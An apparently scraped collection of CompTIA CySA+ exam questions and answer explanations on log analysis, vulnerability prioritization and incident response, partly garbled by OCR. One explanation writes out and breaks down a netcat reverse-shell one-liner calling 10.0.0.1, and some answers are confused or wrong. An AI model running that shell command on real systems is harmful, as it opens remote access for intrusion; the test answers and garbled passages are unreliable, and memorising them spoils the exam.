A. wh4dc-748gy.lan (192.168.86.152)

B. lan (192.168.86.22)

C. imaging.lan (192.168.86.150)

D. xlaptop.lan (192.168.86.249)

E. p4wnp1_aloa.lan (192.168.86.56)

EfE: (EfEZRRLET)

The analyst should look at p4wnp1_aloa.lan (192.168.86.56) first, as this is the most suspicious device on the network. P4wnP1 ALOA is a tool that can be used to create a malicious USB device
that can perform various attacks, such as keystroke injection, network sniffing, man-in-the-middle, or backdoor creation. The presence of a device with this name on the network could indicate that
an attacker has plugged in a malicious USB device to a system and gained access to the network. Official References: https://github.com/mame82

/P4wnP1_aloa
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A web application firewall (WAF) is a tool that can protect web servers from attacks such as SQL injection, cross-site scripting, and other web-based threats. A WAF can filter, monitor, and block
malicious HTTP traffic before it reaches the web server. A WAF can also be configured with rules and policies to detect and prevent specific types of attacks.

References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 3, "Security Architecture and Tool Sets", page 91; CompTIA CySA+ Certification Exam Objectives Version 4.0,
Domain 1.0 "Threat and Vulnerability Management", Objective 1.2 "Given a scenario, analyze the results of a network reconnaissance", Sub-objective "Web application attacks", page 9 CompTIA
CySA+ Study Guide: Exam CS0-002, 2nd Edition : CompTIA CySA+ Certification Exam Objectives Version 4.0.pdf)
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E. /etc/passwd @ 5%
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The snippet shows an attempt to access the boot.ini file, which is a configuration file for Windows operating systems. The "... \ ... /" pattern is used to navigate up the directory structure and reach
the root directory, where the boot.ini file is located. This is a common technique for exploiting directory traversal vulnerabilities, which allow an attacker to access files and directories outside the

intended web server path. The other options are not relevant for this purpose: remote file inclusion involves injecting a malicious file into a web application; cross-site scripting involves injecting
malicious scripts into a web page; remote code execution involves executing arbitrary commands on a remote system; enumeration of /etc/passwd involves accessing the file that stores user

information on Linux systems.

References: According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, one of the objectives for the exam is to "use appropriate tools and methods to manage, prioritize and
respond to attacks and vulnerabilities". The book also covers the usage and syntax of web server logs, which record the requests and responses of web applications, in chapter 6. Specifically, it
explains the meaning and function of each component in web server logs, such as the HTTP method, the URL, the status code, and the user agent1, page

244. |t also discusses the common types and indicators of web- based attacks, such as directory traversal, which use special characters to manipulate the web server path1, page 251. Therefore,
this is a reliable source to verify the answer to the question.
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* When acritical vulnerabilityis identified, the immediate next step should be toassess the riskassociated with the vulnerability.

* Risk assessment (Option B)helps determine the severity, exploitability, and business impact before deciding on mitigation measures.

* Option A (delaying the fix)is dangerous because payment data theft can have severe consequences, including regulatory penalties and reputational damage.
* Option C (ignoring the vulnerability)is incorrect because passing a compliance audit does not mean the system is secure.

* Option D (isolating and reimaging)is an extreme measure that might not be necessary unless active exploitation is detected.

# Reference:CompTIA CySA+ CS0-003 Official Study Guide, Risk Management & Vulnerability Management Lifecycle.
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access_log - [21/May/2024 13:19:06] "GET /news HTTP/1.1" 404 -

access_log - [21/May/2024 13:19:06] " GET /1970 HTTP/1.1 " 404 -

access_log - [21/May/2024 13:19:06] " GET /dopey HTTP/1.1 " 404 -
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This log shows multiple 404 errors being triggered from requests to different directories or paths, which strongly suggests adirectory brute-force attack. In this type of attack, an adversary uses
automated tools to enumerate directory or file paths in an attempt to find hidden or misconfigured resources. The frequent 404

"Not Found" HTTP responses from a single IP address attempting to access different URL paths is the signature pattern for directory brute-forcing. This behavior is not consistent with XSS, SQLi,
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or RCE, which would involve payloads or specific encoded commands, not merely probing paths.

Reference:
Chapple & Seidl,CompTIA CySA+ Practice Tests(Sybex, 2023), Question 149, p. 297 Objective 1.2 of CySA+ CS0-003 Exam Objectives: Analyze indicators of malicious activity such as scans

/sweeps, unusual traffic spikes, activity on unexpected ports
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The best option to safeguard PII during an incident is to ensure permissions are limited in the investigation team and encrypt the data. This is because limiting permissions reduces the risk of
unauthorized access or leakage of sensitive data, and encryption protects the data from being read or modified by anyone who does not have the decryption key. Option A is not correct because
closing the data may hinder the investigation process and prevent collaboration with other parties who may need access to the data. Option C is not correct because deleting data that is no longer
needed may violate legal or regulatory requirements for data retention, and may also destroy potential evidence for the incident. Option D is not correct because opening permissions to the
company may expose the data to more people than necessary, increasing the risk of compromise or misuse.

References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 4, "Data Protection and Privacy Practices", page 195; CompTIA CySA+ Certification Exam Objectives Version
4.0, Domain 4.0

"Compliance and Assessment", Objective 4.1 "Given a scenario, analyze data as part of a security incident", Sub-objective "Data encryption”, page 23 CompTIA CySA+ Study Guide: Exam
CS0-002, 2nd Edition : CompTIA CySA+ Certification Exam Objectives Version 4.0.pdf)
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A. PCIDSS

B. COBIT

C. ISO 27001

D. ITIL

EfE: (EfEZRRLET)

ISO 27001 is an international standard that establishes a framework for implementing, maintaining, and improving an information security management system (ISMS). It helps organizations
demonstrate their commitment to protecting their data and complying with various regulations and best practices. The other options are not relevant for this purpose: PCI DSS is a standard that
focuses on protecting payment card data; COBIT is a framework that provides guidance on governance and management of enterprise IT; ITIL is a framework that provides guidance on service
management and delivery.

References: According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, one of the objectives for the exam is to "use appropriate tools and methods to manage, prioritize and
respond to attacks and vulnerabilities". The book also covers the usage and syntax of various cybersecurity frameworks and standards, such as ISO 27001, PCI DSS, COBIT, and ITIL, in chapter
1. Specifically, it explains the meaning and function of each framework and standard, such as ISO 27001, which provides a comprehensive approach to information security management1, page
29. Therefore, this is a reliable source to verify the answer to the question.
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A. nmap -o insecure.org
B. nmap -A insecure.org
C. nmap -sV -T4 -F insecure.org
D. nmap -sS -T4 -F insecure.org

FfR:C (A FERET D)
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The correct answer is A. Address space layout randomization.

Address space layout randomization (ASLR) is a security control that randomizes the memory address space of a process, making it harder for an attacker to exploit memory-based vulnerabilities,
such as buffer overflows1. ASLR can also prevent a security analyst from finding the proper memory address of a piece of malicious code, as the memory address changes every time the process
runs2.

The other options are not the best explanations for why the memory address changes every time the process runs. Data execution prevention (B) is a security control that prevents code from
being executed in certain memory regions, such as the stack or the heap3. Stack canary is a security technique that places a random value on the stack before a function's return address, to
detect and prevent stack buffer overflows. Code obfuscation (D) is a technique that modifies the source code or binary of a program to make it more difficult to understand or reverse engineer.
These techniques do not affect the memory address space of a process, but rather the execution or analysis of the code.
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The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f is a one-liner that creates a reverse shell from the target machine to the attacker's machine. It does the
following steps:

*rm -f timp/f deletes any existing file named /tmp/f

*mknod /tmp/f p creates a named pipe (FIFO) file named /tmp/f

*cat /tmp/f|/bin/sh -i 2>&1 reads from the pipe and executes the commands using /bin/sh in interactive mode, redirecting the standard error to the standard output

*nc 10.0.0.1 1234 > tmp/f connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe This way, the attacker can send commands to the
target machine and receive the output through the netcat connection, effectively creating a reverse shell.

References
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Hack the Galaxy
Reverse Shell Cheat Sheet
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Alerts (17) -
» m Absence of Anti-CSRF Tokens
~ Content Security Policy (CSF) Header Not Set (6)
» = Cross-Domain Misconfiguration (34)
» ™ Directory Browsing (11)
m Missing Anti-clickjacking Header (2)
# Cockie No HttpOnly Flag (4)
= Cockie Without Secure Flag
= Cockie with SameSite Atttibut®MNone (29
= Cockie without SarmESite Ateribtte (5)
i/ Cross-Ddimain [éwaScript Source File Inclusion
# Timestarmp Disclosure - Unix (569)
= X-Content-Type-Options Header Missing (42)
P CORS Header
P Information Disclosure - Sensitive Information in URL (2)
m Information Disclosure - Suspicious Comments (43)
™ Loosely Scoped Cookle (5)
™ Re-examine Cache-control Directives (33)
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1. Analyze the Screenshot: The provided image shows a vulnerability scan report (likely from OWASP ZAP). The specific alert highlighted in blue is " Cross-Domain Misconfiguration " with 34
occurrences. In CompTIA performance-based questions, the highlighted item dictates the problem you need to solve.

2. |dentify the Vulnerability: Cross-Domain Misconfiguration typically refers to issues with CORS (Cross-Origin Resource Sharing) .

* CORS is a mechanism that allows a server to indicate any other origins (domains, schemes, or ports) than its own from which a browser should permit loading of resources.

* A common misconfiguration occurs when the server sends the header Access-Control-Allow-Origin: *.

This wildcard tells the browser to allow any website to access the resources on your server, which defeats the browser ' s Same-Origin Policy protection.

3. Evaluate the Solution (Option C): To tune this and fix the vulnerability without breaking functionality for legitimate partners, the analyst should change the configuration from a wildcard (*) to a
specific allowlist.

* Remediation: Set the Access-Control-Allow-Origin header to strictly define which authorized domains (e.g., https://partner.example.com) are allowed to access the resources.

* This aligns perfectly with Option C .

Why the other options are incorrect:

* A. Set an HttpOnly flag to force communication by HTTPS:

* This is incorrect for two reasons. First, it addresses the " Cookie No HttpOnly Flag " alert, not the highlighted " Cross-Domain " alert. Second, the definition is technically wrong: the HttpOnly flag
prevents client-side scripts (like JavaScript) from accessing cookies (mitigating XSS); it does not force HTTPS. The Secure flag or HSTS headers are used to force HTTPS.
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* B. Block requests without an X-Frame-Options header:

* This is the remediation for Clickjacking (seen in the alert list as " Missing Anti-clickjacking Header " ), not Cross-Domain Misconfiguration.

* D. Disable the cross-origin resource sharing header:

* While removing the header entirely defaults the browser back to the strict Same-Origin Policy (which is secure), " tuning " implies adjusting the setting to work correctly. If the application requires
cross-domain communication (which the presence of the header suggests), disabling it entirely would break the application. Configuring it correctly (Option C) is the professional remediation.
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RCE stands for remote code execution, which is a type of attack that allows an attacker to execute arbitrary commands on a target system. The suspicious command in the question is an example
of RCE, as it tries to download and execute a malicious file from a remote server using the wget and chmod commands. A buffer overflow is a type of vulnerability that occurs when a program
writes more data to a memory buffer than it can hold, potentially overwriting other memory locations and corrupting the program's execution. ICMP tunneling is a technique that uses ICMP packets
to encapsulate and transmit data that would normally be blocked by firewalls or filters. A smurf attack is a type of DDoS attack that floods a network with ICMP echo requests, causing all devices
on the network to reply and generate a large amount of traffic. Verified References: What Is Buffer Overflow? Attacks, Types & Vulnerabilities - Fortinet1, What Is a Smurf Attack?

Smurf DDoS Attack | Fortinet2, exploit - Interpreting CVE ratings: Buffer Overflow vs. Denial of ...3
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A vulnerability that is related to a specific adversary campaign, with IoCs found in the SIEM, should have the highest priority for the mitigation process. This is because it indicates that the
vulnerability is actively being exploited by a known threat actor, and that the organization's security monitoring system has detected signs of compromise. This poses a high risk of data breach,
service disruption, or other adverse impacts.

References: How to Prioritize Vulnerabilities Effectively: Vulnerability Prioritization Explained, Section:

How to prioritize vulnerabilities step by step to avoid drowning in sea of problems; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page
156.
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A Memorandum of Understanding (MOU) is a formal agreement that outlines the roles and responsibilities of each party involved in a particular process or project, especially within security
frameworks. In the context of cybersecurity, an MOU is commonly used to clarify and document the security responsibilities of different departments or entities involved. It helps ensure everyone
understands their specific duties and contributions to security, which is crucial for coordination and risk management. According to CompTIA Security+ guidelines, while options A, C, and D
describe other forms of agreements, they do not capture the essential purpose of an MOU as accurately as option B does.
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Vulnerability remediation timeframes Outhiit Show Question *3) Reset All Answers

CVSS risk level Standard i onian L

ProD | AT [IBEVH

CVSS > 9.0 Must be patched or remediated and verified by a subsequent V v x
vulnerability scan within 7 calendar days : -
CVSS > 7.9 < 9.0 Must be patched or remediated and verified by a subsequent x

vulnerability scan within 14 calendar days

CVSS >5.0< 79 Must be patched or remediated and verified by a sc@ v 3¢

vulnerability scan within 30 calendar d

X X X

CVsSS > 0 < 5.0 Must be patched or remedi

agubsequent V x

ys

Any of these timeframes may be the discretion of the Chief Information Security Officer (CISO).
« If patching cannot be bletet ndor has not made a patch available within the timeframe in the table outlined
above, compensating c@htrols®must be put in place within the timeframes listed above and the exception process must be -

' '\ ra '\I
Select the server to be patched Select the appropriate technique and mitigation:
within 14 calendar days:
192.168.50.6 192.168.76.6 Select G
192.168.50.5 192.168.60.5
192.168.76.5 192.168.60.6




Vulnerability remediation timeframes m

Show Question Q) Reset All Answers

CVSS risk level Standard _
_ _ ProD [TUAT| NBEV
CVSS > 9.0 Must be patched or remediated and verified by a subsequent ¢ v x
vulnerability scan within 7 calendar days ' E
CVSS > 79 < 9.0 Must be patched or remediated and verified by a subsequent v s %
vulnerability scan within 14 calendar days :
CVsS >5.0<79 Must be patched or remediated and verified by a subsequent v x x
vulnerability scan within 30 calendar days !
CVSS > 0 < 5.0 Must be patched or remediated and verified by a subsequent W

vulnerability scan within 60 calendar days

{

Any of these timeframes may be accelerated at the discrdiol'l uf _the Chief Iﬁ‘forn'latmrtl'ieﬂlrfww cef {CISD)

« If patching cannot be completed or a vendopias nt* mWe a pﬁ'mvamuw:tiﬁn the tlmeframe in the table outlined

-

above, compensating iwhe ﬁt we wuthii the'timeframes listed above and the exception process must be

Select the server to be pah:hﬂl
within 14 calendar days:

[ ]192.168.50.6 [ ] 192.168.76.6
| 1192.168.50.5 | |192.168.60.5

[J192.168.76.5 [ ] 192.168.60.6

.
!

Select the appropriate technique and mitigation:

Select »
Request exception; legacy protocol could have operational impact

_ Patch; upload signed certificate from trusted third-party provider

Patch; issue a CRL for the server to the CA

Patch; upgrade IIS to current release

Request exception; organization needs time to procure a PKI
Compensating control; create new ACL on firewall to block port 443

Compensating control; imple ecure session to
Compensating control; impl l A




Vulnerability remediation timeframes

Environment Environment : Publiciyv
name location accessible

prod.comptia.org External 104.17.18.29
104.17.18.30
192.168.60.0/24
192.168.61.0/24

dev.comptia.org Internal

uat.comptia.org External

Vulnerability remediation timeframes

o )
Title: Microsoft IIS: Unsupported software version detected
Description: The software version detected is no longer supported.
Affected asset: 192.168.76.5 o
Risk: Unpatched software o omp | | A
Reference: CVE-2022-0155, CVSS5 9.2 0 * I
Title: Sensitive cookie in HTTPS sessiun‘ it »secure” attribute
Dasciiption: The secure attribute for sensi Kies in HTTPS sessions is not set, which could cause the user agent to

send those cookies in | er HTTP session.
Affected asset: 192.168. ?E 6 6
Risk: Session 5|d Q
Reference: CVE-2021- 04 SS 7.4
Title: Untrusted SSL/TLS Server X.509 certificate
IEﬁ’q’:-: i - D i S i i S B e .

Step 1: Reviewing the Vulnerability Remediation Timeframes

The remediation standards require servers to be patched based on their CVSS score:
* CVSS > 9.0: Patch within 7 days

* CVSS 7.9 - 9.0: Patch within 14 days

* CVSS 5.0 - 7.9: Patch within 30 days
* CVSS 0 - 5.0: Patch within 60 days



Step 2: Analyzing the Output Tab

From the Output tab:

* Server 192.168.76.5 has a CVSS score of 9.2 for an unsupported Microsoft IIS version, indicating a critical vulnerability requiring a patch within 7 days.

* Server 192.168.76.6 has a CVSS score of 7.4 for a missing secure attribute on HTTPS cookies, which falls in the 5.0 - 7.9 range, requiring a patch within 30 days.

Since the question asks for the server to be patched within 14 days, we need to focus on servers with CVSS

7.9-9.0:

* None of the servers have a CVSS score that falls precisely in the 7.9 - 9.0 range.

* However, 192.168.76.5, with a CVSS score of 9.2, has a vulnerability that necessitates a quick response and fits as it must be patched within the shortest timeframe (7 days, which includes 14
days).

The server that fits within a 14-day urgency, based on standard practices, would be 192.168.76.5.

Step 3: Reviewing the Environment Tab

The Environment Tab provides additional context for 192.168.76.5:

* It's in the dev environment, which is internal and not publicly accessible.

* MFA is required, indicating security measures are already present.

Step 4: Selecting the Appropriate Technique and Mitigation

For 192.168.76.5, with the Microsoft IIS unsupported version:

* Patch; upgrade IIS to the current release is the most suitable option, as upgrading IIS will resolve the unsupported software vulnerability by bringing it up-to-date with supported versions.
* This technique addresses the root cause, which is the unpatched, outdated software.

Summary

* Server to be patched within 14 calendar days: 192.168.76.5

* Appropriate technique and mitigation: Patch; upgrade IIS to the current release This approach ensures that the most critical vulnerabilities are addressed promptly, maintaining security
compliance.
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Title:
Description:
Affected asset:
Risk:
Reference:

Title:

Description:

Affected asset:
Risk:
Reference:

Title:

Mac~rinkiam:

Microsoft IIS: Unsupported software version detected
The software version detected is no longer supported.
192.168.76.5

Unpatched software

CVE-2022-0155, CVSS 9.2

Sensitive cookie in HTTPS session without "secure"” attribute m
The secure attribute for sensitive cookies in HTTPS sessions is @ cause the user agent to
send those cookies in plaintext over ' c

192.168.76.6 -

Session mdmackmi
&QL{T LS Server X.509 certificate

armare Tl CICC] ~arkificata ie ciamad bar s carbificatkas sobharibge ek e ombeickad A cmbmaiaem

-

192.168.50.6
192.168.60.6
192.168.60.5

Select the server to be patched Select the appropriate technique and mitigation:
within 14 calendar days:

Py

7

192.168.76.5

192.168.76.6

192.168.50.5
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Mean time to detect (MTTD) is a metric that measures the average time it takes for an organization to discover or detect an incident. It is a key performance indicator in incident management and
a measure of incident response capabilities. A low MTTD indicates that the organization can quickly identify security threats and minimize their impact12.

References: What Is MTTD (Mean Time to Detect)? A Detailed Explanation, Introduction to MTTD: Mean Time to Detect
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The correct answer is A because the incident involves PHI - protected health information. Healthcare organizations are subject to regulatory requirements such as HIPAA, and incidents involving
unauthorized access to PHI commonly require regulatory reporting and notification to affected individuals.

Exact supporting extract: the Secbay CySA+ guide states that some regulations require organizations to report incidents and notify affected individuals when privacy-impacting incidents occur. It
also gives the specific example of a healthcare organization experiencing a breach of patient records and explains that reporting to regulatory authorities and notifying affected individuals
demonstrates compliance, accountability, and transparency.

Another exact supporting extract states that PHI includes medical records and must be protected in specific ways under HIPAA. It also states that incident response should coordinate with
regulatory bodies for industries such as healthcare.

The official CompTIA CySA+ CS0-003 objectives also place this under incident response reporting and communication, including legal, public relations/customer communication, regulatory
reporting, and law enforcement.

Why the other options are incorrect:

B is incorrect because patient notification is not primarily done to appease stakeholders.

C is partially related, but not the best answer. The direct reason is regulatory compliance.

D is incorrect because communicating with patients is separate from communicating with law enforcement.
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This is because scanning without admin privileges can limit the scope and accuracy of the vulnerability scan, and potentially miss some critical vulnerabilities that require higher privileges to
detect. According to the OWASP Vulnerability Management Guide1, "scanning without administrative privileges will result in a large number of false negatives and an incomplete scan". Therefore,
the analyst should recommend addressing this issue to ensure potential vulnerabilities are identified.
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In this scenario, adding the IP address to the EDR (Endpoint Detection and Response) deny list is an immediate and effective way to block further reconnaissance activities from the malicious
source. EDR solutions are designed to provide advanced endpoint security, including blocking specific IP addresses and preventing potentially harmful traffic. This proactive step aligns with
CompTIA Cybersecurity Analyst (CySA+) best practices for threat prevention and response. While other options, such as using SIEM for monitoring (option B) or WAF policies (option C), provide
additional layers of security, they do not directly block the threat in the same immediate way that adding the IP to the EDR deny list does.
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Updating the system firmware and reimaging the hardware is the best action to perform to remediate the infected device, as it helps to ensure that the device is restored to a clean and secure
state and that any traces of malware are removed. Firmware is a type of software that controls the low-level functions of a hardware device, such as a motherboard, hard drive, or network card.
Firmware can be updated or flashed to fix bugs, improve performance, or enhance security. Reimaging is a process of erasing and restoring the data on a storage device, such as a hard drive or a
solid state drive, using an image file that contains a copy of the operating system, applications, settings, and files. Reimaging can help to recover from system failures, data corruption, or malware
infections. Updating the system firmware and reimaging the hardware can help to remediate the infected device by removing any malicious code or configuration changes that may have been
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made by the malware, as well as restoring any missing or damaged files or settings that may have been affected by the malware. This can help to prevent further damage, data loss, or
compromise of the device or the network. The other actions are not as effective or appropriate as updating the system firmware and reimaging the hardware, as they do not address the root cause
of the infection or ensure that the device is fully cleaned and secured. Installing an additional malware scanner that will send email alerts to the analyst may help to detect and remove some types
of malware, but it may not be able to catch all malware variants or remove them completely. It may also create conflicts or performance issues with other security tools or systems on the device.
Configuring the system to use a proxy server for Internet access may help to filter or monitor some types of malicious traffic or requests, but it may not prevent or remove malware that has already
infected the device or that uses other methods of communication or propagation. Deleting the user profile and restoring data from backup may help to recover some data or settings that may have
been affected by the malware, but it may not remove malware that has infected other parts of the system or that has persisted on the device.
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SOAR (Security Orchestration, Automation and Response) and SIEM (Security Information and Event Management) are solutions that can help centralize the workload for the internal security
team by collecting, correlating, and analyzing alerts from different sources, such as EDR. SOAR can also automate and streamline incident response workflows, while SIEM can provide
dashboards and reports for security monitoring and compliance. References: What is EDR? Endpoint Detection & Response, How Does the Cyber Kill Chain Protect Against Attacks?; What is
EDR Solution?, EDR solutions secure diverse endpoints through central monitoring
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An incident response timeline is a detailed chronological record of all events and actions taken during the response to a security incident. It includes timestamps and descriptions of each step,
providing a comprehensive overview of how the incident was detected, contained, mitigated, and resolved. This timeline is crucial for post-incident analysis, helping to understand the effectiveness
of the response, identify areas for improvement, and ensure accountability and transparency in the incident handling process.
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The internet-facing web server allows access to data without requiring credentials.
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The intemet-facing web server allows access to data without requiring credentials.
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Sensitive matenals were found on a fax machine in a common area.
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Explanation:

3 High (10-25) - actual score was 15
8 Low (0-4) - actual score was 2

2 High (10-25) - actual score was 20
6 Low (0-4) - actual score was 4

7 Low (0-4) - actual score was 3

1 High (10-25) - actual score was 25
4 Medium (5-9) - actual score was 9
5 Medium (5-9) - actual score was 6
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To decide what to address first, CySA+ expects a risk-based prioritization approach, combining factors like:

* Asset criticality/value (business impact)

* Exposure/architecture (internet-facing vs. isolated/internal)

* Patch availability / ability to remediate quickly

* Exploitability / likelihood of exploitation

1) Server5 (Critical + Patch Yes) - prioritize immediately

Server5 sits in the database network , is marked Critical , and a patch is available . That combination makes it one of the highest priorities because you can rapidly reduce risk on an asset with the

greatest business impact.
* Secbay explicitly states that prioritization should align to asset criticality and business impact , and also notes that patch availability accelerates remediation: Exact extract (Secbay Press):

"Prioritize vulnerabilities based on their severity, exploitability, and potential impact... Asset Criticality: Identify and prioritize vulnerabilities based on the criticality of the assets they affect..." and "
Patch Availability... Action: Prioritize vulnerabilities for which patches are readily available, as prompt remediation is possible. "

* The All-in-One guide emphasizes asset value/criticality as a major driver of how fast you remediate:

Exact extract (All-in-One Exam Guide): " Asset value is likely one of the most important factors in determining how quickly you should remediate vulnerabilities ..."

2) Server3 (Perimeter + High) - address immediately (mitigate now, patch later) Server3 is in the perimeter network and rated High , making it more exposed to attack paths than internal- only
systems. Even though no patch is available , the analyst must still "address" it first via mitigation

/compensating controls (segmentation, firewalling, disabling vulnerable services, WAF where relevant, tighter ACLs, etc.) because perimeter exposure increases likelihood of exploitation.

* The All-in-One guide makes the architecture/exposure point very directly: Exact extract (All-in-One Exam Guide - Exam Tip): "The architecture of your infrastructure should be a factor... Internet-
facing hosts with sensitive information will likely be your highest priority , while isolated systems... may be able to wait a bit longer for remediation."

* Secbay's prioritization guidance also highlights focusing on critical/high impact risks first and using risk-based prioritization.

Why not the others (briefly):
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* Server4 (Internal, High, Patch Yes): This is a strong candidate, but when choosing only two, perimeter high exposure (Server3) plus critical database with patch (Server5) generally outranks an
internal high system.

* Server2 (Perimeter, Low, Patch Yes): Exposed, but Low criticality .

* Server1 / Server6 (Medium, No patch): Lower criticality and no patch-typically handled after higher-risk items, or mitigated as feasible.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003) : infrastructure architecture affects remediation priority; internet-facing hosts are typically highest priority; asset value drives
remediation urgency

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003) : vulnerability prioritization factors include asset criticality and patch availability; prioritize items with readily available patches for
prompt remediation
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The signature of the malware is a unique identifier that can be used to compare it with known malware samples and their behaviors. Open-source threat intelligence sources provide information on
various types of malware, their indicators of compromise, and their mitigation strategies. By cross-referencing the signature with these sources, the analyst can determine the type of malware and
its telemetry. The other options are not relevant for this purpose: configuring the EDR to perform a full scan may not provide additional information on the malware type; transferring the malware to
a sandbox environment may expose the analyst to further risks; logging in to the affected systems and running netstat may not reveal the malware activity.

References: According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, one of the objectives for the exam is to "use appropriate tools and methods to manage, prioritize and
respond to attacks and vulnerabilities". The book also covers the usage and syntax of EDR, a tool used for endpoint security, in chapter 5. Specifically, it explains the meaning and function of
malware signatures and how they can be used to identify malware types1, page 203. It also discusses the benefits and challenges of using open-source threat intelligence sources to enhance
security analysis1, page 211. Therefore, this is a reliable source to verify the answer to the question.
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Timeline analysis in digital forensics involves creating a chronological sequence of events based on system logs, file changes, and other forensic data. This process often uses graphical
representations to illustrate and analyze how an incident unfolded over time, making it easier to identify key events and potential indicators of compromise. This approach is highlighted in
CompTIA Cybersecurity Analyst (CySA+) practices as crucial for understanding the scope and sequence of a security incident. The other options do not involve chronological or graphical analysis
to the extent that timeline analysis does.
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The behavior described is a high-level objective: gain unauthorized access to a vulnerable system. In MITRE ATT & CK, tactics represent the attacker's high-level goals (the "why"), such as
gaining initial access. That makes this observation a tactic-level description rather than a technique/procedure.

* The All-in-One CS0-003 guide defines tactics as high-level goals and explicitly includes "gaining initial access" as an example:Exact extract (All-in-One Exam Guide): "Tactics The high-level
goals attackers are trying to achieve, such as gaining initial access, persistence, or exfiltrating data."

* It also describes Initial access as the goal of gaining a foothold (i.e., unauthorized access) into a target system/network:Exact extract (All-in-One Exam Guide): "Initial access. Tactics used by
attackers to gain a foothold within a target network or system..." Why the other options are not correct:

* B (Techniques): Techniques are the specific methods used to accomplish a tactic (the "how"), not the high-level goal itself.Exact extract (All-in-One Exam Guide): "Techniques The specific
methods and procedures attackers use to achieve their goals."

* A (Procedures): Procedures are the step-by-step sequences for executing techniques (an attacker's

"attack playbook"), not the high-level goal statement.

* D (Subtechniques): Subtechniques are more granular breakdowns under a technique; your statement doesn't describe a specific technique, so it can't be placed at the subtechnique level.
References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): tactics are high-level goals (e.

g., gaining initial access); initial access definition; techniques definition; procedures as step-by-step sequences
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Root cause analysis (RCA) is a post-incident activity focused on identifying the underlying cause of an incident/problem so the organization can fix the real cause (not just symptoms) and prevent
recurrence .

That matches Option B , which describes tracing the origin and eliminating it permanently.

The Sybex CySA+ Study Guide defines RCA in exactly this way:

Exact extract (Sybex Study Guide):

"The process of root cause analysis (RCA) is used to identify why a problem, incident, or issue occurred.

Root cause analysis is performed to allow organizations to understand what they need to focus on to prevent future problems..." The Secbay Press guide also defines RCA as uncovering
underlying causes to prevent recurrence:

Exact extract (Secbay Press):

"Root Cause Analysis (RCA)... is a systematic investigation process aimed at identifying the fundamental factors that led to a security incident. It goes beyond addressing symptoms and seeks to
uncover the underlying causes to prevent recurrence." Why the other options are wrong

* A (TTPs): That describes attacker behavior frameworks (e.g., MITRE ATT & CK), not RCA.
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* C (who/what/when/where/why): That's an incident reporting structure, not the RCA process.

* D (ongoing activities report): That resembles status reporting/incident updates, not root cause determination.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mike Chapple & David Seidl, CompTIA CySA+ Study Guide (CS0-003) : RCA identifies why an incident occurred and helps prevent recurrence

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003) : RCA goes beyond symptoms to uncover underlying causes and prevent recurrence
* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003) : "who/what/when/where/why" belongs to incident reporting context
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Comprehensive Detailed Explanation:The nmap scan results show that Telnet (port 23) is open. Telnet transmits data, including credentials, in plaintext, which is insecure and should be disabled
to enhance security. Here's an explanation of each option:

* A. Disable all protocols that do not use encryption

* Explanation: Disabling unencrypted protocols (such as Telnet) reduces exposure to man-in-the- middle (MITM) attacks and credential sniffing. Telnet should be replaced with a secure protocol
like SSH, which provides encryption for transmitted data.

* B. Configure client certificates for domain services

* Explanation: While client certificates enhance authentication security, they are more relevant to services like LDAP over SSL (port 636), which is already secure. This would not address the
Telnet vulnerability.

* C. Ensure that this system is behind a NGFW

* Explanation: A Next-Generation Firewall (NGFW) provides enhanced network security, but it may not mitigate the risks of unencrypted protocols if they are allowed internally.

* D. Deploy a publicly trusted root CA for secure websites

* Explanation: Public root CAs are used for website authentication and encryption, relevant only if this system is hosting a publicly accessible HTTPS service. It would not impact Telnet security.
References:
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CIS Controls: Recommendations on secure configurations, especially the use of encrypted protocols.
NIST SP 800-47: Security considerations for network protocols, emphasizing encrypted alternatives like SSH over Telnet.
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The vulnerability scan shows that the version information is visible in the http-server-header, which can be exploited by attackers to identify vulnerabilities specific to that version. Removing or
obfuscating this information can enhance security.

References: CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4: Vulnerability Management, page 172; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5:
Vulnerability Management, page 223.
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The best option to quickly find out whether the IP address in a SIEM alert is a known-malicious IP address is

C). Add data enrichment for IPS in the ingestion pipeline.

Data enrichment is the process of adding more information and context to raw data, such as IP addresses, by using external sources. Data enrichment can help analysts to gain more insights into
the nature and origin of the threats they face, and to prioritize and respond to them accordingly. Dataenrichment for IPS (Intrusion Prevention System) means that the IPS can use enriched data to
block or alert on malicious traffic based on various criteria, such as geolocation, reputation, threat intelligence, or behavior. By adding data enrichment for IPS in the ingestion pipeline, analysts can
leverage the IPS's capabilities to filter out known-malicious IP addresses before they reach the SIEM, or to tag them with relevant information for further analysis. This can save time and resources
for the analysts, and improve the accuracy and efficiency of the SIEM.

The other options are not as effective or efficient as data enrichment for IPS in the ingestion pipeline. Joining an information sharing and analysis center (ISAC) specific to the company's industry
(A) can provide valuable threat intelligence and best practices, but it may not be timely or comprehensive enough to cover all possible malicious |IP addresses. Uploading threat intelligence to the
IPS in STIX/TAXII format (B) can help the IPS to identify and block malicious IP addresses based on standardized indicators of compromise, but it may require manual or periodic updates and
integration with the SIEM. Reviewing threat feeds after viewing the SIEM alert (D) can help analysts to verify and contextualize the malicious IP addresses, but it may be too late or too slow to
prevent or mitigate the damage. Therefore, C is the best option among the choices given.
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This is a type of web application vulnerability called cross-site scripting (XSS), which allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to
steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim.

